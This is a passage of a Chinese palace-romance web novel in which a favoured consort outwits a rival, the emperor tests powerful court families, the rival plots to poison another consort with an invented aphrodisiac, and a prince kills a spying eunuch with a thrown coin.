楚念辞眉眼弯弯,喜滋滋落了座。
白芷若终于洗干净了头脸,头发只匆匆挽了个髻,一件首饰都没戴,狼狈不堪地跪在地上,泪水涟涟,那叫楚楚可人我见犹怜。
“陛下,您一定要给臣妾做主啊!今日这事,分明是慧贵人故
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意害臣妾!”
她心里恨得牙痒痒。
她和皇后的计划明明天衣无缝,眼看就要重获圣宠了,偏偏在这节骨眼上被一泡鸟屎砸得颜面扫地。
除了楚念辞,还能有谁?
虽说洗了半天,脸颊和发间仍隐隐有股怪味,可白芷若顾不上了。
她红着眼眶,声音软得能掐出水:“陛下,臣妾往后还怎么在后宫做人?您一定要替臣妾做主……”
端木清羽没接她的话,只侧脸看向楚念辞:“怎么回事?”
楚念辞一脸无辜,温声细语地解释:“陛下,前两天,飞来一对燕子,在檐下筑窝。臣妾见母燕孵蛋辛苦,便命人在树上放了个食盒,每日添些吃食。今日**姐偏偏坐在这花树下……
“臣妾委实不知她会来,更不知她会坐那儿呀。”
白芷若气的身子抖得像风里的叶子:“你、你就是故意的!你恼我住进来,心中不忿,便存心让我出丑!”
楚念辞听了,也不恼,只轻轻叹了口气。
眉眼间尽是无奈和委屈:“**姐这话从何说起呢?我连你要搬进来都不知道,又怎会晓得你坐在哪棵树下?臣妾哪有未卜先知的本事?”
白芷若反驳:“回陛下,臣妾进门时,分明有位宫女引我们到这花树下,说此处最宜歇息。”
“慢着,”楚念辞反问,“你说有人故意引导,请问这个有人是谁,可有人看见?”
"我侍女绮云看见了。"白芷若道。
端木清羽冷厉的口光射向绮六
绮云腿一软,刚刚那嬷嬷下场,自己已经看见。
这端木清羽生的俊俏。
却是个**不眨眼的魔王。
她如何敢胡编乱造?
于是低声道:“奴婢去拿琵琶,没看清楚。”
绮云声音小了下去。
“说了半天,却是并无实证。”楚念辞冷冰冰笑道。
白芷若气地咬了咬嘴唇,便又哀哀哭了起来。
楚念辞在心里“啧”了一声。
这对白芷若,还真是唱作俱佳。
眼泪说来就来。
把“受害者”的戏份做足了。
只可惜,今日注定棋差一着。
因为皇帝本就下旨不许旁人入住的。
就算今日这出“鸟屎计”真是她楚念辞安排的,那也不过是捉弄一个违旨擅闯之人。
顶天了算个恶作剧,又算得上什么过错?
这是阳谋。
端木清羽坐在主位上,修长的手指轻轻抚着茶盏边沿,眸色沉沉的,看不出喜怒。
半晌后,他开口,清凌凌的稳稳压住了白芷若的娇柔哭腔:“说了半天,莲嫔告慧贵人并无实据,人证与物证都没有?”
白芷若一噎。
她只觉得遍体生寒。
端木清羽也不看她,只淡淡招招手。
白芷若抿了抿唇,纤腰款摆,娇怯怯走到他跟前。
“过来,”端木清羽平静道,“若无实证,便是诬陷,你可知罪?”
第117章 宠到骨子里
阶下石砖为防滑,雕满了细密的菱形凸纹。
白芷若为了吸引皇帝只穿了单薄春裙,她膝盖一触地,便疼得白了脸,眼眶里霎时蓄满了泪。
可她硬是咬着唇,忍住了没有服软离开。
她知道自己这是以小博大,以软抗硬。
只要端木清羽心一软。
自己就能留下来了。
端木冥羽见这般绝色佳人跪得如此狼狈,忍不住暗暗叹气。
白云琛更是心疼得眉头紧锁,这白芷若与白芊柔不同,是他一母同胞的妹妹。
可正因为关系太近,几次想帮忙求情,又欲言又止。
楚念辞在一旁悄悄地觑了端木清羽一眼。
他正抚着茶盏,瞥了莲嫔一眼,慢条斯理地开口:“朕早就下过旨意,不许宫嫔胡乱攀扯,你是没把朕的话当回事,还是有人给了你胆子?”
白芷若低头咬着嘴唇。
不说话。
她跪在地上,泪珠子断了线似地往下滚。
娇莹莹似雨打花儿般让人不忍目暏。
她泪眼盈盈地看着哥哥。
希望哥哥帮忙求情。
只要哥哥开口求情让她留下,自己就能仗着家势,扳回这一局。
端木清羽黑浓的睫毛间射出一线湛亮的精光来,唇角浮出一丝冷笑。
楚念辞却忽然有些明白了。
白芷若在软饭硬吃。
她并不在乎自己有没有冤枉她,而是想借此留下来。
而端木清羽是借此事,正在试探端木冥羽与白云琛之间的关系。
他明明可以三言两语将白芷若打发走。
却偏偏要这两人过来,偏偏要让她坐在身边,偏偏要在众人面前给她难堪……
一切不过为了试探端木冥羽与白家。
是否已经勾结?
“你自己坐错了地方,闹了笑话,还要信口雌黄攀咬旁人?”端木清羽语气凉薄,加重了口气,“朕看你是根本没有把宫规当回事。”
“好好给朕跪着。”
说着,侧身伸手握住楚念辞的手,温和宠溺道:"委屈你了,以后这主殿就给你住了,省得旁人生出不该有的心思。"
楚念辞脸上露出惊喜的表情。
只有嫔位,才可以住主殿,给她住,其实就是暗示,她随时可以升嫔位。
“陛下……”白芷若眼中尽是不可置信。
她没想到陛下会当众将主殿给她。
如此偏心,看来自己不可能住进来了。
他没想到如此宠她。
宠得已经到无视自己的家族背景的地步。
这一局,她输得彻彻底底。
白芷若失望以极,不由哭的软倒在地。
“陛下。”
终于,白云琛实在看不得亲妹妹受这等折辱,一撩袍角跪了下去。
“臣愿以身上功名为莲嫔担保,她绝无违逆陛下圣旨之意,皆是有人误传圣旨,更不是有意诬陷慧贵人,一切都是误会。”
端木冥羽见状,也陪着单膝跪下:“陛下,臣本不想管这闲事,但实在见不得美人落泪,这纯嫔刚刚进宫几天,如何能了解宫规,还望陛下宽宥则个。”
他也很聪明,帮忙借口是,怜香惜玉。
端木清羽清浅的目光在两人身上扫去,眸色沉沉。
“既然雍亲王与白侍郎开了金口。”
端木清羽语气缓和了一下,道,“朕免了你罚跪,马上从棠棣宫搬出去,你既听皇后的话,那就住到皇后宫后头去,冷月宫还空着,正好你在那儿清静清静,同时好好学学宫规。”
冷月宫。
听着清雅,实则挨着冷宫。
白芷若身子一颤,泪落得更凶了。
她自幼被娇宠长大,何时未受过这等**。
如今当着兄长的面,当着雍王的面,当着满殿宫人的面。
被罚跪、被斥骂、被发落到冷宫边上……
“好了,你向慧贵人陪个不是,以后不要如此以小人之心度君子之腹。”端木清羽一脸宠溺地拍着楚念辞的手。
他说这些话的事,一直握着楚念辞的手,完全将一位独宠爱妃的皇帝,演绎得惟妙惟肖。
简直是宠到了骨子里。
白芷若实在看不下去了。
低头含泪起身。
对楚念辞拂礼以示道歉,然而还未开口,泪珠便滚滚而下,一双美目哭若梨花带雨似的,看得人心都要碎了。
樱唇张合了半天。
却一个字都说不出来。
端木清羽居高临下看着她,问道,“你是否觉得朕罚得不公?”
这下,白芷若吓得连泪都憋了回去,忙哽咽道:“慧妹妹……姐姐说错话,给你赔礼,望你不要放在心上……”
楚念辞忙从皇帝掌中缩回手,起身用手托住她的袖子道:“都是误会,说开了便好,姐姐千万不要放在心上。”
说着,还贴心地掏出帕子,替她拭着脸上的眼泪。
端木清羽却看都不再看她一眼,只端起茶盏,轻轻撇了撇茶沫,挥了挥手。
白云琛如蒙大赦,连忙示意侍女扶白芷若起来。
白芷若本是太尉府嫡女,自小被娇宠着长大,刚及笄便入了宫,何曾受过这等委屈?
只刚刚走了几步,她身子软得差点歪倒。
泪珠儿扑簌簌往下掉,顺着那张白皙的脸庞滑落,真真是梨花带雨,我见犹怜。
但她不敢再耽搁,又朝端木清羽的方向行了个礼,这才颤巍巍扶着侍女的手退了出去。
白云琛也叩谢了圣恩,匆匆起身离开。
端木冥羽告了罪,言称府坻有事,匆匆告退。
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众人都离开了,棠棣宫安静了不少。
楚念辞偷偷瞄一眼端木清羽的脸色,谁知一抬眼,与端木清羽的目光撞了个正着。
那双眼睛。
看着她似笑非笑的。
眼底透着一抹洞悉的亮色,像是把什么都看透了。
楚念辞心里“咯噔”一下。
想起刚才自己把他寝衣挂在了玉兰树上,急忙心虚地移开眼睛不敢看他。
可千万别想起来啊……她在心里默默祈祷。
“陛下,臣妾给您沏杯茶去。”她说着就要转身开溜。
“慧儿。”端木清羽叫住她,“茶让她们去沏,你随我来。”
楚念辞一愣,只好跟上他回到殿内。
说实话,今天这场戏,她就为了让白芷若掉进自己的坑里,出个大丑。
而端木清羽这番操作她只看到了一半。
白云琛被敲打了,可端木冥羽被试探,还有什么意思她就不知道。
她心怀惴惴地跟着端木清羽进了内殿。
团圆奉上茶,很有眼色地退了出去,还顺手带上了殿门。
殿里就剩他俩了。
此时正是正午,阳光灿灿,配着四处唧唧鸟鸣,一派缱绻温暖的春情。
端木清羽端起茶盏,眉眼不抬地回过身问楚念辞:“朕的寝衣,为何挂在树上?”
楚念辞装傻:“原来那衣服是您的?”
“怎么,这才几天就忘了朕的衣服?”端木清羽吹吹茶沬,好整以暇地看着她。
楚念辞立刻挤出一张笑脸,凑上去握住他玉白手腕。
娇声道:“一日不见如隔三秋嘛!臣妾昨天没见着陛下,想得不行,那衣服挂在树上,从这个窗口正好看见,以慰相思之情……”
“别动手动脚。”端木清羽眼皮都没抬,拍开她的手。
楚念辞脸一垮,嘟了嘟嘴。
却作势就挤进他怀里,又去亲他的耳垂。
端木清羽用手抵住她的嘴,眼底浮起一丝惊讶:“慧儿,越来越大胆,现在可是大白天,你竟想白日宣……对朕行那不规矩之事?”
不规矩之事?
摸摸小手、亲个小嘴就算白日宣淫?
那你动不动刮我鼻子、摸我的腰、猝不及防就强按我在养心殿墙边乱亲。
那算什么?
当然,这些话她只敢在心里念叨念叨。
面上还得是那副乖巧模样。
楚念辞笑得一脸明媚:“陛下您说笑了,臣妾哪敢对您白日就不规矩?”
端木清羽眉眼如月地睨着她,慢悠悠道:“你白天不敢……”
楚念辞眨巴着眼睛,一脸认真地等着他往下说。
“你看见朕就想那事,还分白天黑夜吗?”
端木清羽冷哼一声。
楚念辞:“……”
第118章 白日宣淫
“陛下,臣妾真不是那个意思……”楚念辞急着解释,“臣妾就是爱逗趣,绝对没有对您不敬的意思!”
她觉得自己解释得挺清楚的。
可为啥他看自己的眼神,让她感觉越描越黑了?
“不必解释。”端木清羽斜晲着她,顺手把她从腿上扒拉下来。
“你想干什么朕很清楚,毕竟那些满口知乎者也的大臣以及举止端正的命妇,偶尔看朕的眼神,都让朕想挖掉他们的眼睛,更何况你是朕的妃子,对朕有非分之想,也是人之常情。”
“这事儿不怪你,怪朕自己,谁让朕长成这样?”
楚念辞:“……”
听他这话,脑中飘过一句“玉树临风美少年,揽镜自顾夜不眠”。
他的性格,就像洋葱,剥掉一层,里面还有一层。
靠他越近,便越能发现新的东西。
楚念辞汗**一竖,偷偷搓了搓胳膊,又凑上去抱着他胳膊撒娇:“臣妾哪有啊……”
心里却嘀咕:自恋成这样,也是没谁了。
“行了,不说这个。”端木清羽手法娴熟地摸上她的腰,丝毫没觉得自己也是贪慕美色之人,“朕问你,今天这么对付莲嫔,到底打的什么主意?”
啊,果然自己做什么都骗不过他。
楚念辞有点泄气,腰上有块敏感地方,一摸就软。
她整个人跟水似的瘫在他腿上,心里那叫一个羡慕嫉妒恨……
她也想这么摸他啊,把他摸成一滩水。
想想他在床上媚眼如丝的样子。
……可惜只能想想。
若是自己真把他摸成这样,小**又要掉下面具。
想想前几日可真有点吃不消。
于是她一边喘息,一边窝在他怀里交代:“……臣妾……嗯……"
"别摸那里……怕她真赖在棠棣宫不走,才出此下策,让她结结实实出个丑,自然也就不会惦记了。”
端木清羽眉目如月,一边捏着她的腰,一边道:“朕不是答应过你了吗?”
楚念辞一愣。
仔细想想,他确实答应过。
可她从来没把信心放在过男人身上。
出了什么事,总是想着自己想办法给解决。
所以才想先下手为强,这其实是根本没有把他当做靠山。
她忍无可忍把端木清羽的手扯开。
正色道:“虽说莲嫔是被人骗了,但她在明明知道陛下不允,还扮娇弱想留下来,分明是以小搏大,不把您放眼里,就是就是仗着背景硬,陛下您真能忍住不处罚?”
她索性捅破了窗户纸。
端木清羽浅笑道:“今日这事,就算真是太尉为她撑腰,追究起来,也不过是让女儿尽早侍寝,最多禁足罢了,朕若揪住这点小错不放,太尉说不定又要跪到养心殿哭求。”
楚念辞略一思索,明白过来:“您是说,您若真的禁足她,反倒给太尉发难的口实?”
端木清羽目光平静地看着她,“朕虽然坐在皇位上,可在宗室和朝臣心里,朕是无能的,江山是父兄打下来的,就连王兄也陪着父皇在边关镇守过,于江山社稷也是有功之臣。”
“朕是无功受禄了,你明白吗?”
楚念辞沉默。
怪不得。
端木冥羽能以亲王身份当宗长,不就是仗着这个?
说白了,小皇帝这个皇位,只是凭借了嫡子身份,硬坐上去的。
若非小皇帝多智,利用了他们的内部矛盾。
但凡换一个人,这皇位根本坐不稳。
“其实朕也没想过要对王兄和勋贵下手,”端木清羽微微眯眼,“因为朕不想如他们所愿,担上诛杀功臣,虐**足的**之名。
"反正他们没那个能耐把朕拉下来。”
楚念辞细细一想……
如今朝中权力最大的,是宰相、太尉和镇国公。
太后和皇**得住皇宫,可没有军权。
想换皇帝,除非太尉和镇国公点头。
所以陛下真正想对付的是手握军权的。
太尉与镇国公。
端木清羽挑唇微笑,“历朝历代的皇帝,或早或晚都会对功臣下手,无非是‘功高震主’,更何况朕这个寸功未立的,不得不防。”
楚念辞虽然早就猜出来了。
但面对这个多智近妖的家伙,忙装出恍然大悟样子:“原来您今日羞辱白芷若,是为了试探太尉和端木冥羽的关系?”
“受害的是太尉爱女,朕当然要看看俩人的态度。”
端木清羽说完,垂眸看着正偷偷把手伸向他腰间的楚念辞。
楚念辞被看得心虚,又连忙缩回手。
朝他露出一个明悟的灿烂笑容。
端木清羽无奈得很。
这辈子见过不少聪明人,可能与他心意相通的,居然是个女人,还是自己妃子。
端木清羽看着眼前这个一脸娇媚、眼神明澈的小女子,微微皱眉地别过头。
当初看父兄身边国士贤臣一群,怎么到了他这儿,弄得好像跟祸国妖妃密谋似的?
“若太尉真和端木冥羽狼狈为奸怎么办?”楚念辞爬起来凑过去问。
端木清羽幽幽目光如绵里藏针:“白云琛是太尉独子,而白芷若是他唯一的嫡女。”
楚念辞这才明白。
独子嫡女握在手里,就算夺了太尉府的命脉,今后太尉不管做什么,都会投鼠忌器。
“白云琛目睹今日之事,必然回去告诉他的父亲,太尉对朕的态度必定收敛,他唯一的嫡女在朕手里,而他手中再也没有适龄进宫争宠之人,自然投鼠忌器。”
楚念辞突然想到,自己也把他当成了诱饵,顿时有点心虚。
“你以朕衣为饵,若还办不成此事,岂不太亏?”端木清羽斜睨着她,悠悠笑道。
楚念辞讪笑着往后退:“陛下,臣妾不知道您在说什么……”
端木清羽一把将她抱过来。
楚念辞被他紧紧抱着。
紧张地咽了口口水,警惕地看着他。
端木清羽蹙眉:“你那什么表情?朕是粗暴之人吗?”
楚念辞很想回:上次您掉面具的时候,像!
话还没出口,端木清羽已把她翻转过来,按住她的背,另一只手化成掌,轻轻落在她身上。
“把朕寝衣挂树上?嗯?”
啪的一声轻响,不疼,但羞耻。
“还敢给朕塞鸟窝里?”
又一记轻拍。
“朕忍你很久了!”
端木清羽嘴上凶,手上却极有分寸,每一下都只让她感觉到轻微的拍打,更像是惩戒式的
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爱抚。
楚念辞眼睛一眨,却立即哭出声。
趴在他腿上,挣又挣不开,索性扯过他袍角擦鼻涕,哭号的夸张:“陛下,臣妾知错了!再也不敢了!”
端木清羽见她哭了,哭得珠泪盈盈。
嘴角抽了几下,怒火渐消。
看着手下那纤柔脊背,也舍不得真打,便住了手。
楚念辞察觉压制没了,捂着腰泪水连连地控诉:“就一件衣服而已,陛下您再这样下去,很容易成一代**的!”
端木清羽挑眉,看她眼泪还挂在脸上。
可哪有后悔的样子。
他鲜艳的嘴角微微一勾,弯着一双明艳的眸子,换成左手:“谁让你起来了?朕只是打累了想换只手。”
楚念辞立刻往他怀里一倒:“啊,臣妾浑身好痛。”
说着张着嘴亲在了他的嘴上。
端木清羽被他亲得一脸泪水鼻涕泡。
一个没忍住倒在了榻上。
楚念辞抓住时机,一个翻身就压在了他的身上。
端木清羽……
这姿势怎么看有点像春戏图中的姿势。
于是顺势一把抱住她,昂着头亲在她的胸口上。
结果,楚念辞以这个姿势被他按在胸口,惩罚了半夜。
半夜,翻了个身,结果腰酸得厉害。
腰酸给痛醒了。
她嘶嘶地吸着冷气侧过身去,偷偷伸手去腰上摸了摸……
心中登时哀嚎,小皇帝只要不发心疾,做起这种事来,其实精力无限。
腰好酸呢。
端木清羽这厮是想做死她吗!
相处这三个月,端木清羽给她的感觉就轻易不露底。
太尉压着他,想让他低头让白芷若住进最好的宫殿,以方便承宠,他为何还不处置太尉。
他说是不想处置功臣。
楚念辞不认为他是顾忌什么功臣。
他每天上朝跟太尉大眼瞪小眼几个时辰,是忠是奸,以他那敏锐劲儿,总能看出点苗头来。
换句话说,他为何不发作?
其实根本还没有试探出太尉手中的底牌。
经此一遭,她算是看出来了。
白芷若在他的底线上试探。
他也只能是斥责,把她弄到个清净的晾着。
所以这就是家世的好处。
自己想升嫔位,就算小皇帝允许,没有家世背景也是坐不稳的。
因为嫔位是一宫主位,不但是一种荣誉,更代表了一方势力。
宫中嫔以上的妃子,都是有家世背景撑腰的。
如今自己,家世太弱,就得抱大腿。
说到背后的势力。
她投靠的淑妃只是把她当刀使,根本不可能帮她升位,所以,必须再找棵大树。
太后与皇后,不做考虑,因为皇后与自己已经是势成水火。
太尉与镇国公都是有嫡女的,不可能真心扶持自己。
唯有淳太妃那儿,倒是可以去试探一下。
虽说太妃收养雍亲王,毕竟不是她亲生儿子。
看她对这养子也不是十分上心,那天帮自己,分明就是想给自己留后路。
再说小皇帝,也在试探自己的王兄。
自己去一下,也算是打进他们内部,帮小皇帝的忙了。
她决定明天给淳太妃送祛风丸去。
第119章 白芷若被玫常在当街羞辱
后宫从来藏不住事。
莲嫔私自闯棠棣宫献曲,反被陛下撵出去、赶去冷月宫的消息,一夜之间传遍了六宫。
而且陛下居然让慧贵人住进了棠棣宫主殿。
六宫没有一个贵人,能住主殿,慧贵人一个贵人,竟破了惯例,成了头一个!
入宫不到三个月,从选侍一路升到贵人,还能独居主殿。
若再生个皇子,妃位还远吗?
一时间,不知多少人眼红得滴血,恨不得取而代之。
这边楚念辞风光无限,那边莲嫔可就惨了。
内务府最会见风使舵,送去冷月宫的宫女太监,全是歪瓜裂枣。
想起棠棣宫里连扫地的都模样周正,莲嫔气得肝疼。
她还没侍寝就失了宠,如今连那些答应、常在都敢当面嘲讽。
尤其那个玫常在,嘴毒得跟淬了**似的在淑妃处一通冷嘲热讽。
白芷若碍着淑妃不敢当场反驳,谁知反倒助长了这些人气焰。
翌日,白芷若去求皇后,偏在路上又遇见了玫常在与几位答应。
玫常在十六七岁,生得娇丽,身段丰盈,银红色的衣襟包裹着一对傲然双峰,纯中带媚,别有一番风情。
她嘴又甜,投靠淑妃后不仅升了常在,还得了封号,自觉高人一等。
见了白芷若,她也不行礼,脸上满是讥讽。
“哟,这不是莲嫔娘娘吗?”
“听说您巴巴搬进棠棣宫,结果住进去不到一天,就被陛下撵出来了,真是笑**了!”
白芷若抿唇不语。
跟这种人计较,掉价。
绮云却忍不住上前斥责,却嗅到了玫常在身上浓烈的香粉味。
她愣了一下,才道:“放肆!我们小主是嫔位,你不过是个常在,怎敢不敬主位娘娘?”
搁在平时,玫常在自然不敢。
可如今谁不知道莲嫔刚被罚跪、赶去冷月宫?
更何况她攀上了淑妃,淑妃眼见不喜欢这个莲嫔,若自己狠狠踩踏,淑妃一定乐见其成。
她正愁没机会表忠心呢。
“主位娘娘?冷月宫的失宠之人,也敢自称主位,无宠就是**!”玫常在一扬雪白下巴。
“后宫女人争宠不稀奇,可追到陛下宫门口唱小曲,还真是头一回见。”
“淑妃娘娘都说了,莲嫔那天跟台上唱戏的似的……”
“说不定是在棠棣宫做了什么不知羞耻的事,才被赶出来的吧?”
旁边几位低位妃子的嘲讽一句接一句砸过来。
宫道上站满了太监和宫女,听到这些话,虽然不敢过来接茬,可他们都远远地站着,幸灾乐祸地交头接耳议论着。
白芷若气得脸色发白,嘴唇直哆嗦。
眼底阴沉得能滴出水。
绮云气得胸膛起伏,想上前理论,却被她拦住,道,“走吧。”
望着白芷若扭着纤细的腰肢走开,玫常在还在她的背后撇着嘴补了一句:“狐媚子,真是不知羞耻,如今这腰扭给谁看。”
白芷若攥紧拳头回到冷月宫。
撩起裤腿一看,双膝青紫一片,触目惊心。
她眼底已没了刚入宫时光亮,只剩狠毒阴冷。
“小主,那玫常在有狐臭。”绮云小声道。
绮云懂香料,也懂**,是白芷若特别挑选带进皇宫的。
白芷若一听就眯着眼睛。
“还有一件事,”绮云一边上药一边低声道,“奴婢这些天留意到个叫福贵的太监,是从棠棣宫赶出来的,奴婢给了点好处,他便什么都说了,原是慧贵人派来监视小主的,他如今想投靠小主,替小主卖命。”
白芷若心思转了转。
她心机深沉。
当然不会轻信一个陌生太监。
但也不想错过这个机会。
“我不见他,”她沉吟道,“你想个法子,把他引荐给玫常在,再放风出去,说纯贵人私下议论玫常在有狐臭。”
绮云一怔,随即会意。
这是要让玫常在去恨纯贵人。
让她们鹬蚌相争。
白芷若从袖中摸出一个小纸包。
“这药叫绕情丝,西域媚药,只消一星半点,三个时辰内,都想与男人交合,若无药王谷天绝丹解毒,经脉尽断而亡。”
绮云是医女出身,精通药理,一看便知这药的利害。
“小主,这药用一次御医便能查出来,不如用在慧贵人身上……”
“不妥,”白芷若摇头,“她正得宠,她若出事,陛下定全力追查,把药交给咱们在四执库的眼线,转卖给玫常在,就说是泻药。”
她眼底掠过冷意:“纯贵人还未侍寝,就算陛下肯用自己的身子救她,没有天绝丹,也是死路一条,查出来,玫常在一个毒杀嫔妃的罪名是跑不掉的,还有,派人跟着慧贵人,看她跟哪些人走得近。”
绮云心中一凛。
还是小主高明,这是要一箭双雕。
可她也知道,若不是刚刚的那一番羞辱,小主也不会这么急着出手。
“奴婢知道了,这就吩咐下去。”
莲嫔阴冷地眯了眯眼睛,慧贵人,玫常在,纯贵人……
她面上柔弱不与人计较,心里却最是记仇。
每一个羞辱过她的人,她都狠狠记了一笔。
等着吧,一个都跑不掉。
晨光透过窗棂洒进棠棣宫主殿,玉兰、水仙、风信子瓣上还挂着露珠。
这主殿从后山引了温泉水,即便外面还带着春寒,殿内也温暖如春。
到处是郁郁葱葱的花草,好些都是别处见不到的。
楚念辞心情不错,倚在窗边赏着这一片春色。
团圆在一旁侍奉,满脸欣喜:“小主,主殿有这一湾温泉,又暖和,又省炭火,还有这么多花开着,奴婢长这么大,头一回见殿里养花的奇景,都是托小主的福!”
满宝也凑趣笑:“那可不?陛下这么宠咱们小主,便是淑妃娘娘的玉坤宫,也没这景致呢……”
楚念辞微微蹙眉:“恩宠越多,嫉恨越多,这话传出去,便是祸端,往后不许再说。”
满宝忙轻轻吐了吐舌头:“奴才一高兴,嘴就没把门了……”
“可陛下真是宠爱小主,太尉为莲嫔求了几次都没应,还是将主殿赏赐给了小主!”团圆笑道。
楚念辞轻轻捏着帕子:“这话别说了,传出去,人家会说堂堂太尉的面子,还不如后宫一个小小贵人。”
团圆急了:“太尉咱们可惹不起,小主,怎么办?”
楚念辞依旧镇定:“我什么都不做,皇后和太尉府也早把我当眼中钉了,横竖我在后宫,他们手伸不了这么长。”
她顿了顿,“吩咐下去,约束
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宫人,谨言慎行,别让人抓住错处,借题发挥。”
团圆应声。
岚姑姑在一旁看着,心里暗暗欣慰,盛宠之下还能这般不骄不躁,在这宫里,还是头一回见。
“小主也不必太忧心,”团圆又宽慰道,“反正陛下这段时间都在咱们这儿,谁敢跟您过不去?”
楚念辞摇头:“你错了,陛下今晚不会来。”
“为什么?”
楚念辞端起茶杯,不紧不慢道:“陛下给了太尉一棒子,总得给颗甜枣,今晚多半会召莲嫔侍寝,安抚太尉,不然春耕的事,太尉又有得折腾。”
听她这么说,岚姑姑更加佩服:“小主料得真准,刚得的消息,陛下今晚召莲嫔去养心殿,还赐了桃花酿。”
楚念辞松了口气。
这份盛宠已经够扎眼了,若再独占着,别说淑妃,满宫的新人都能把她生吞了。
楚念辞笑了笑,她带着团圆,主仆二人提着一只青瓷小匣,缓步往寿康宫去了。
匣中盛着她昨夜亲手炼制的“祛风丸”。
专治偏头痛,药性温和却见效奇快。此行,是为谢过淳太妃在除夕毒案中的暗中相助。
寿康宫与太后的慈宁宫只有一墙之隔。
虽说没有慈宁宫那般阔气,却胜在小巧精致,自有一番雅致。
紫金炉里檀香袅袅,淳太妃斜倚在软榻上,一头乌发只简单挽了个圆髻,簪了支素玉簪子,面容温婉好看。
见楚念辞进来,她眼神柔和了几分。
“快搬个凳子来。”淳太妃吩咐云姑姑,又朝楚念辞招手,“过来坐。”
楚念辞笑着上前,将手里的药匣双手奉上。
淳太妃接过,指尖轻轻摩挲着匣面,叹了一声:“你这孩子倒是守信诺,那日只是提了一嘴,你倒记在的心上,这药怎么吃?”
“太妃,”楚念辞抬眸,眉眼弯弯,“这药配了川芎、白芷、党参,用红糖引着,每天一丸,温水送服,吃上一日,保准见缓。”
淳太妃点了点头,又看了她一眼。
楚念辞笑容真诚:“那日多谢太妃相助。”
淳太妃凝视她片刻,忽而笑了:“你可知,本宫为何帮你?”
楚念辞目光清澈,想了想,坦然道:“臣妾猜,一是太妃觉得臣妾还算诚心,也有些潜力。二来,太妃心里所求的事,恰好臣妾身上有。”
殿内安静了一瞬。
两人对视,都笑了。
都是聪明人,许多事不必点破。
淳太妃在她身上看见了日后的可能,便提前铺一条路,而她呢,也需要一份靠得住的倚仗。
彼此各取所需罢了。
淳太妃端起茶盏,抿了一口,悠悠道:“这是先帝最爱的蒙顶甘露,你尝尝,如果喜欢,让云汐给你包点回去。”
“娘娘的东西,自然是最好的,那臣妾就不客气。”楚念辞心里有了数,这便是认可了。
没有明说什么结盟不结盟,但两人心里都明白。
一个要留后路,一个要保自身,利益绑在一起,比什么口头承诺都牢靠。
楚念辞端起茶盏,也轻轻抿了一口。
离开寿康宫,楚念辞沿朱雀廊往回走。
刚转过月洞门,一道高大冷俊玄色身影斜倚廊柱,挡住了去路。
楚念辞抬头一看……端木冥羽。
第120章 与雍亲王打交道
楚念辞刚转过身,赫然看见五六丈外站着雍亲王。
这人长得极为惹眼。
他小麦色皮肤,一头深棕色微卷的头发用龙簪束起,玄色深衣襟上用金线绣着螭龙,足蹬金龙靴,整个人既张扬又贵气。
他眉峰如刀,眼眸深邃。
那张被肤色衬得分外红润的嘴唇叼着一枝杏花,那锐利眉眼衬着春风中初绽的杏花,竟然是一点也不违和,反而浑然一体。
兼之唇边带着一抹痞痞的笑容,与前几日在端木清羽面前表现的恭慎谦和完全不同,现在的他慵懒得像一只猎豹,楚念辞也不感到怪异,认为他现在的样子,才是他的本色面貌。
他站在那里,直直撞进你眼里。
他正望着她,目光极其放肆,上上下下打量她,像在看一件珍贵物品,细细估量着成色和价值。
这种眼神让楚念辞非常不舒服,简直想用香囊里的麻药扔进他眼里。
就在这时,他突然动手了。
电光石火间,大袖翻飞,动作快得只剩残影,只听得“唰”一声,一道寒光破空而出!
楚念辞还没反应过来,只觉有什么东西贴着她耳边飞过……
那是一枚铜钱。
铜钱越过她,直直飞向几丈外的墙头,正中一个正探头偷窥的太监。
那太监身子晃了晃,颈间鲜血喷涌,整个人从墙头栽了下来。
鲜血喷溅,大多落在那人足前三寸,只有一滴溅上他的脸颊边杏花上。
那滴血缀在娇柔的花朵上,像雪地里一点朱砂。
“呵。”他头也不回冷笑。
“噗”的一声,吐掉嘴里的杏花。
突然抬手用指腹抹去楚念辞脸上的血迹。
楚念辞猝不及防,被他摸个正着。
端木冥羽望着指尖那抹红,语气懒洋洋的,却透着一股子懊恼,“偏了,本王本来准备射他的眼睛。”
掷币、**、拭血,一气呵成,浑不在意的像是嬉戏。
楚念辞看得心神俱震。
她是学医的,知道人的头骨有多硬,寻常高手掷出的暗器顶多伤人,哪能一击毙命?
这人连蓄力都没有,只是随手一挥,就用一枚铜钱打穿了人的头颅。
更加心惊的是,他敢在皇宫里随便**。
掩去眼底惊骇,楚念辞忙上前看了看那死掉的太监,有点面生,不过衣服挺新,应该是刚刚从内廷分来的小太监。
如今想要对付自己的……无非是皇后与莲嫔。
两人相较,还是莲嫔嫌疑更大。
知道她会对付自己。
但是没想到她竟然敢光天化日之下派人跟着自己。
太尉府的实力不容小觑。
她刚想悄悄退走,端木冥羽却已转过身来。
挡在了她的身前。
端木冥羽一挑锋锐长眉,一拂腰佩墨玉螭龙带,动作慵懒得像一只大猫,慢悠悠一礼开口:“好巧,咱俩可真是有缘。”
楚念辞脚步微顿,从容福身:“雍亲王说笑了。”
“这宫里就这么大,臣妾来见太妃,您来见母亲,遇见了不是必然的吗?哪有什么缘分不缘分的。”
端木冥羽缓步逼近,楚念辞已能看清他眼底微微发亮的光。
他身量极高,肩宽体健,加上方才刚杀过人,周身还萦着一股未散的杀气。
这样的距离下,寻常女子只怕早就腿软了。
楚念辞却只愣了一下,便抬头迎上他犀利的目光。
半??后,才微笑着开口:“多谢王爷方才出手相助。”
说着侧身招呼,“团圆,快来见过雍亲王。”
团圆刚才早已经吓傻了。
听见楚念辞召唤,才努力瞪起那双松鼠似的小眼睛,强压着慌张,害怕,规规矩矩行了一礼。
端木冥羽毫不在意,只对楚念辞微笑。
“你我之间不必如此客气。”端木冥羽颊边刀锋般的笑纹弯成一个月牙。
他带着犀利又略带痞气笑容,往前又近了半步:“慧贵人,你不怕我?”
“这是陛下的皇宫,臣妾为何要怕一位亲王?”楚念辞虽然也有点心里打鼓,却不愿在他的眼前露出怯意。
“果然机敏灵透,与你这聪明人说话,就是让人身心舒坦,”他眸光在她脸上转了一圈,“你方才瞧了本王半天,想必十分中意在下?”
“差强人意,”楚念辞语气平淡,“比之陛下,仍差一筹。”
端木冥羽非但不恼,反而笑得更开了。
他笑得露出一口整齐的白牙,神情温文尔雅:“不为皮相所惑,慧贵人果然与众不同,本王皮相虽比不上陛下,不过本王比之陛下,有一处他没有的好处,如果你感兴趣,日后不妨多与本王相处。”
这些话挑逗之意已极其露骨。
换作寻常宫嫔,只怕早就羞红了脸。
楚念辞却听懂这不只是调戏。
